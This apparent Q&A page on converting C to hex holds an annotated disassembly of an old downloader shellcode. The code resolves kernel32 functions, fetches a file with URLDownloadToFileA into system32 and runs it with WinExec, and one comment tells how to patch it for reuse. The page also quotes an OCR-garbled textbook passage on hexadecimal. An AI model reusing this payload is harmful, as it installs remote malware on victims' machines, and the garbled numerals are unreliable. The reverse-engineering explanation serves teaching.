C语言格式怎么转换成hex格式?

Python08

C语言格式怎么转换成hex格式?,第1张

在KEIL软件上建立工程项目,编辑C语言,编译调试无错后,点击project下的options for target,在output标签下勾选输出HEX,确定后就在编译一下会自动生成HEX文件在相同目录里。

文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码

在Windows平台,特别是x64平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

4AD75021    5A                     pop     edx                                            函数返回的地址保存到edx中

4AD75022    64:A1 30000000         mov     eax, dword ptr fs:[30]                         取peb

4AD75028    8B40 0C                mov     eax, dword ptr [eax+C]                         peb_link

4AD7502B    8B70 1C                mov     esi, dword ptr [eax+1C]                        初始化列表到esi

4AD7502E    AD                     lods    dword ptr [esi]                                [esi]->eax + 8的位置即kernel32.dll的地址

4AD7502F    8B40 08                mov     eax, dword ptr [eax+8]                         eax=kernel32.dll的地址

4AD75032    8BD8                   mov     ebx, eax                                       ebx=kernel32.dll的基址

4AD75034    8B73 3C                mov     esi, dword ptr [ebx+3C]                        esi = pe头偏移

4AD75037    8B741E 78              mov     esi, dword ptr [esi+ebx+78]                    esi为kernel32.dll导出表的偏移

4AD7503B    03F3                   add     esi, ebx                                       esi = kernel32.dll导出表的虚拟地址

4AD7503D    8B7E 20                mov     edi, dword ptr [esi+20]                        edi=ent的偏移地址

4AD75040    03FB                   add     edi, ebx                                       edi = ent的虚拟地址

4AD75042    8B4E 14                mov     ecx, dword ptr [esi+14]                        ecx = kernel32.dll导出地址的个数

4AD75045    33ED                   xor     ebp, ebp                                       ebp=0

4AD75047    56                     push    esi                                            保存导出表虚拟地址

4AD75048    57                     push    edi                                            保存ent虚拟地址

4AD75049    51                     push    ecx                                            保存计数

4AD7504A    8B3F                   mov     edi, dword ptr [edi]

4AD7504C    03FB                   add     edi, ebx                                       定位ent中的函数名

4AD7504E    8BF2                   mov     esi, edx                                       esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

4AD75050    6A 0E                  push    0E                                             0xe0是GetProcAddress函数的字符个数

4AD75052    59                     pop     ecx                                            设置循环次数为 0xe

4AD75053    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]         ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress

4AD75055    74 08                  je      short 4AD7505F                                 如果ENT中的函数名为GetProcAddress跳走

4AD75057    59                     pop     ecx                                            不相等则将导出地址数出栈

4AD75058    5F                     pop     edi                                            ent虚拟地址出栈

4AD75059    83C7 04                add     edi, 4                                         edi地址递增4字节 因为ENT的元素大小为4字节

4AD7505C    45                     inc     ebp                                            ebp用于保存ent中定位到GetProcAddress函数时的计数

4AD7505D  ^ E2 E9                  loopd   short 4AD75048                                 循环查询

4AD7505F    59                     pop     ecx

4AD75060    5F                     pop     edi

4AD75061    5E                     pop     esi

4AD75062    8BCD                   mov     ecx, ebp                                       计数保存于ecx

4AD75064    8B46 24                mov     eax, dword ptr [esi+24]                        esi+0x24 Ordinal序号表偏移地址

4AD75067    03C3                   add     eax, ebx                                       ordinal序号表的虚拟地址

4AD75069    D1E1                   shl     ecx, 1                                         ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

4AD7506B    03C1                   add     eax, ecx

4AD7506D    33C9                   xor     ecx, ecx                                       ecx=0

4AD7506F    66:8B08                mov     cx, word ptr [eax]                             保存取出的ordinal序号

4AD75072    8B46 1C                mov     eax, dword ptr [esi+1C]                        eax 为kenrnel32.dll的EAT的偏移地址

4AD75075 >  03C3                   add     eax, ebx                                       eax = kernel32.dll的eat虚拟地址

4AD75077    C1E1 02                shl     ecx, 2                                         同上,扩大4倍因为eat中元素为DWORD值

4AD7507A    03C1                   add     eax, ecx

4AD7507C    8B00                   mov     eax, dword ptr [eax]                           eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

4AD7507E    03C3                   add     eax, ebx                                       与基址相加求得GetProcAddress函数的虚拟地址

4AD75080    8BFA                   mov     edi, edx                                       GetProcAddress字符到edi

4AD75082    8BF7                   mov     esi, edi                                       esi保存GetProcAddress地址

4AD75084    83C6 0E                add     esi, 0E                                        esi指向GetProcAddress字符串的末地址

4AD75087    8BD0                   mov     edx, eax                                       edx为GetProcAddress的地址

4AD75089    6A 04                  push    4

4AD7508B    59                     pop     ecx                                            ecx=4

有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

4AD7508C    E8 50000000            call    4AD750E1                                       设置IAT 得到4个函数的地址

4AD75091    83C6 0D                add     esi, 0D                                        从这里开始实现ShellCode的真正功能

4AD75094    52                     push    edx

4AD75095    56                     push    esi                                            urlmon

4AD75096    FF57 FC                call    dword ptr [edi-4]                              调用LoadLibrarA来加载urlmon.dll

4AD75099    5A                     pop     edx                                            edx = GetProcAddress的地址

4AD7509A    8BD8                   mov     ebx, eax

4AD7509C    6A 01                  push    1

4AD7509E    59                     pop     ecx

4AD7509F    E8 3D000000            call    4AD750E1                                       再次设置 IAT 得到URLDownLoadToFileA

4AD750A4    83C6 13                add     esi, 13                                        esi指向URLDownLoadToFileA的末地址

4AD750A7    56                     push    esi

4AD750A8    46                     inc     esi

4AD750A9    803E 80                cmp     byte ptr [esi], 80                             判断esi是否为0x80 这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束

4AD750AC  ^ 75 FA                  jnz     short 4AD750A8                                 跨过这个跳转,需要在OD中CTRL+E修改数据为0x80

4AD750AE    8036 80                xor     byte ptr [esi], 80

4AD750B1    5E                     pop     esi

4AD750B2    83EC 20                sub     esp, 20                                        开辟 32 byte栈空间

4AD750B5 >  8BDC                   mov     ebx, esp                                       ebx为栈区的指针

4AD750B7    6A 20                  push    20

4AD750B9    53                     push    ebx

4AD750BA    FF57 EC                call    dword ptr [edi-14]                             调用GetSystemDirectoryA得到系统目录

4AD750BD    C70403 5C612E65        mov     dword ptr [ebx+eax], 652E615C                  ebx+0x13 系统路径占 0x13个字节

4AD750C4    C74403 04 78650000     mov     dword ptr [ebx+eax+4], 6578                    拼接下载后的文件路径%systemroot%\system32\a.exe

4AD750CC    33C0                   xor     eax, eax

4AD750CE    50                     push    eax

4AD750CF    50                     push    eax

4AD750D0    53                     push    ebx

4AD750D1    56                     push    esi

4AD750D2    50                     push    eax

4AD750D3 >  FF57 FC                call    dword ptr [edi-4]                              URLDownLoadToFile下载文件为a.exe

4AD750D6    8BDC                   mov     ebx, esp

4AD750D8    50                     push    eax

4AD750D9    53                     push    ebx

4AD750DA    FF57 F0                call    dword ptr [edi-10]                             WinExec执行代码

4AD750DD    50                     push    eax

4AD750DE    FF57 F4                call    dword ptr [edi-C]                              ExitThread退出线程

接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。

使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

通过这个实例 ,相信应该能理解一个大致的流程啦。

十六进制(hexadecimal,缩写为hex)是以16为基数的计数系统,它是计算机中最常用的计数系统。十六进制中的计数过程为:O,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,等等。十六进制中的字母是几个单位数标识符,表示十进制的10到15。要记住在不同基数下的计数规则,即从O数到比基数小1的数字,在十六进制中这个数就是十进制的15。因为西式数字中没有表示大于9的单位数,所以就用A,B,c,D,E和F来表示十进制的10到15。在十六进制中,数到F之后,就要转到两位数上,也就是1OH或Ox1O。下面对十六进制(第二行)和十进制(第一行)的计数过程作一下比较: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,…… 1,2,3,4,5,6,7,8,9,A, B, C, D, E, F, 10,…… 注意,十进制的10等于十六进制的A。与前面讨论过的计数系统一样,每增加一个十六进制位,实际上就增加了一个16的幂,即160(1),161(16),162(256),163(4096),等等。因此,十六进制数3F可以展开为(3×161)+(F×160),等于十进制的(48+15)或63;十六进制数13F可以展开为(1×162)+(3×161)+(F×160),等于十进制的(256+48+15)或319。在c程序中,这两个数用0x3F或Oxl3F这样的形式来表示,其中的“0x”前缀用来告诉编译程序(和程序员)该数字应被当作十六进制数来处理。如果不加“0x”前缀,你就无法判断一个数究竟是十六进制数还是十进制数(或者是八进制数)。 对表20.22稍作改进,加入十六进制的计数过程,就得到了表20.24: ————————————————————————————————— 二进制 十进制值 二进制幂 十六进制 十六进制幂 ————————————————————————————————— 0000 O O 0001 1 20 1 160 0010 2 21 2 0011 3 3 0100 4 22 4 0101 5 5 0110 6 6 0111 7 7 1000 8 23 8 1001 9 9 1010 10 A 1011 11 B 1100 12 C 1101 13 D 1110 14 E 1111 15 F 10000 16 24 10 161 ————————————————————————————————— 笔者在上表的最后又加了一行,使计数达到十进制的16。通过比较二进制、十进制和十六进制·你就会发现:“十”在二进制中是“1010”,在十进制中是“10”,在十六进制中是“A”;。。十六”在二进制中是“1 0000"或“10000”,在十进制中是“16”,在十六进制中是“1O”,,(见上表的最后一行)。这意味着什么呢?因为今天的16,32和64位处理器的位宽恰好都是16的倍数,所以在这些类型的计算机中用十六进制作为计数系统是非常合适的。 十六进制位和二进位之间有一种“倍数”关系。在上表的最后一行中,二进制值被分为两部分(1 0000)。4个二进制位(或者4位)可以计数到15(包括O在内共16个不同的数字),而4位(bit)正好等于一个半字节(nibble)。在上表中你还可以发现,一个十六进制位同样可以计数到15(包括。在内共l 6个不同的数字),因此,一个十六进制位可以代表4个二进制位。一个很好的例子就是用二进制表示十进制的15和16,在二进制中,十进制的15就是1111,正好是4个二进制位能表示的最大数字;在十六进制中,十进制的15就是F,也正好是一个十六进制位能表示的最大数字。十进制的16要用5个二进制位(1 0000)或两个十六进制位(10)来表示。下面把前文提到过的两个数字(0x3F和0x13F)转换为二进制: 3F 111111 l3F 100111111 如果把前面的空格换为O,并且把二进制位分成4位一组,那么看起来就会清楚一些: 3F 0 0011 1111 l3F 1 0011 1111 你并不一定要把二进制位分成4位一组,只不过当你明白了4个二进制位等价于一个十六进制位后,计数就更容易了。为了证明上述两组数字是相等的,可以把二进制值转换为十进制值(十六进制值到十进制值的转换已经在前文中介绍过了);二进制的111111就是(1×25)+(1×24)+(1×23)+(1×22)+(1×21)+(1×20),等于十进制的(32+16+8+4+2+1)或63,与0x3F的转换结果相同。二进制的1 0011 1111就是(1×28)+(O×27)+(0×26)+(1×25)+(1×24)+(1×23)+(1×22)++(1×21)+(1×20),等于十进制的(256+32+1 6+8+4+2+1)或319。因此,十六进制和二进制能象手掌和手套那样相互匹配。

记得采纳啊